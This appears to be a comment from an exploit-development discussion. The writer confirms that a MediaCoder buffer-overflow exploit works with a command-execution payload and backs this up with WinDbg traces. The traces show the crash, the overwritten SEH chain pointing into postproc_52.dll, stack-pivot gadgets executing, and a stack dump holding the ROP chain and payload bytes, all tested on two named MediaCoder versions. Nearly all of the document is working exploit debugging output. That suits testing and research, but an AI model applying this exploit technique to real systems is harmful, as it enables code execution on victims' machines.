Strange, works for me with windows/exec payload too.
```less
(88c.10a4): Break instruction exception - code 80000003 (first chance)
eax=7ffdb000 ebx=00000000 ecx=00000000 edx=76e9f17d esi=00000000 edi=00000000
eip=76e3410c esp=02ccff5c ebp=02ccff88 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
76e3410c cc              int     3
0:028> g
(88c.1404): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000000bd ebx=7577ad60 ecx=04e4d968 edx=fb2e2698 esi=005308c8 edi=000f05c0
eip=0042daf3 esp=0012f090 ebp=0012f1f4 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210286
*** WARNING: Unable to verify checksum for C:\Program Files\MediaCoder\mediacoder.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\MediaCoder\mediacoder.exe
mediacoder+0x2daf3:
0042daf3 88040a          mov     byte ptr [edx+ecx],al      ds:0023:00130000=41
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\MediaCoder\libiconv-2.dll - 
0:000> !exdhain
No export exdhain found
0:000> !exchain
0012f3f4: *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\MediaCoder\postproc-52.dll - 
postproc_52+14435 (6afd4435)
Invalid exception stack at e82d1026
0:000> bp 0x6afd4435
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=6afd4435 edx=76e471ad esi=00000000 edi=00000000
eip=6afd4435 esp=0012eca8 ebp=0012ecc8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
postproc_52+0x14435:
6afd4435 81c4ac070000    add     esp,7ACh
0:000> t
eax=00000000 ebx=00000000 ecx=6afd4435 edx=76e471ad esi=00000000 edi=00000000
eip=6afd443b esp=0012f454 ebp=0012ecc8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443b:
6afd443b 5b              pop     ebx
*** WARNING: Unable to verify checksum for C:\Program Files\MediaCoder\jpeg.dll
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\MediaCoder\jpeg.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\MediaCoder\avutil-52.dll - 
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\MediaCoder\swscale-2.dll - 
0:000> t
eax=00000000 ebx=6ab16202 ecx=6afd4435 edx=76e471ad esi=00000000 edi=00000000
eip=6afd443c esp=0012f458 ebp=0012ecc8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443c:
6afd443c 5e              pop     esi
0:000> t
eax=00000000 ebx=6ab16202 ecx=6afd4435 edx=76e471ad esi=6ab16202 edi=00000000
eip=6afd443d esp=0012f45c ebp=0012ecc8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443d:
6afd443d 5f              pop     edi
0:000> t
eax=00000000 ebx=6ab16202 ecx=6afd4435 edx=76e471ad esi=6ab16202 edi=6ab16202
eip=6afd443e esp=0012f460 ebp=0012ecc8 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443e:
6afd443e 5d              pop     ebp
0:000> t
eax=00000000 ebx=6ab16202 ecx=6afd4435 edx=76e471ad esi=6ab16202 edi=6ab16202
eip=6afd443f esp=0012f464 ebp=6ab16202 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
postproc_52+0x1443f:
6afd443f c3              ret
0:000> p
eax=00000000 ebx=6ab16202 ecx=6afd4435 edx=76e471ad esi=6ab16202 edi=6ab16202
eip=6ab16202 esp=0012f468 ebp=6ab16202 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
swscale_2!sws_get_class+0xf002:
6ab16202 c3              ret
0:000> dd /c1 esp
0012f464  6ab16202
0012f468  6ab16202
0012f46c  6ab16202
0012f470  6ab16202
0012f474  6ab16202
0012f478  6ab16202
0012f47c  6ab16202
0012f480  6ab16202
0012f484  6ab16202
0012f488  100482ff
0012f48c  ffffffc0
0012f490  6970504f
0012f494  66d9d9ba
0012f498  6ab2241d
0012f49c  7a784c49
0012f4a0  7a784c49
0012f4a4  7a784c49
0012f4a8  7a784c49
0012f4ac  7a784c49
0012f4b0  7a784c49
0012f4b4  7a784c49
0012f4b8  7a784c49
0012f4bc  7a784c49
0012f4c0  7a784c49
0012f4c4  7a784c49
0012f4c8  7a784c49
0012f4cc  7a784c49
0012f4d0  7a784c49
0012f4d4  7a784c49
0012f4d8  1004cc03
0012f4dc  6ab561b0
0012f4e0  66d9feee
```

I've tested it with 0.8.22.5525 and 0.8.23.5530:
```less
0:000> lmv m mediacoder
start    end        module name
00400000 005c7000   mediacoder C (no symbols)           
    Loaded symbol image file: C:\Program Files\MediaCoder\mediacoder.exe
    Image path: C:\Program Files\MediaCoder\mediacoder.exe
    Image name: mediacoder.exe
    Timestamp:        Mon Jun 17 23:30:07 2013 (51BF398F)
    CheckSum:         00000000
    ImageSize:        001C7000
    File version:     0.8.22.0
    Product version:  0.8.22.0
    File flags:       8 (Mask 1F) Private
    File OS:          4 Unknown Win32
    File type:        0.0 Unknown
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Broad Intelligence
    ProductName:      MediaCoder
    InternalName:     mediacoder
    OriginalFilename: MediaCoder.exe
    ProductVersion:   0, 8, 22, 5525
    FileVersion:      0, 8, 22, 5525
    FileDescription:  MediaCoder
    LegalCopyright:   (C)2005-2013 Developed by Stanley Huang All Rights Reserved
    LegalTrademarks:  MediaCoder
    Comments:         http://www.mediacoderhq.com
```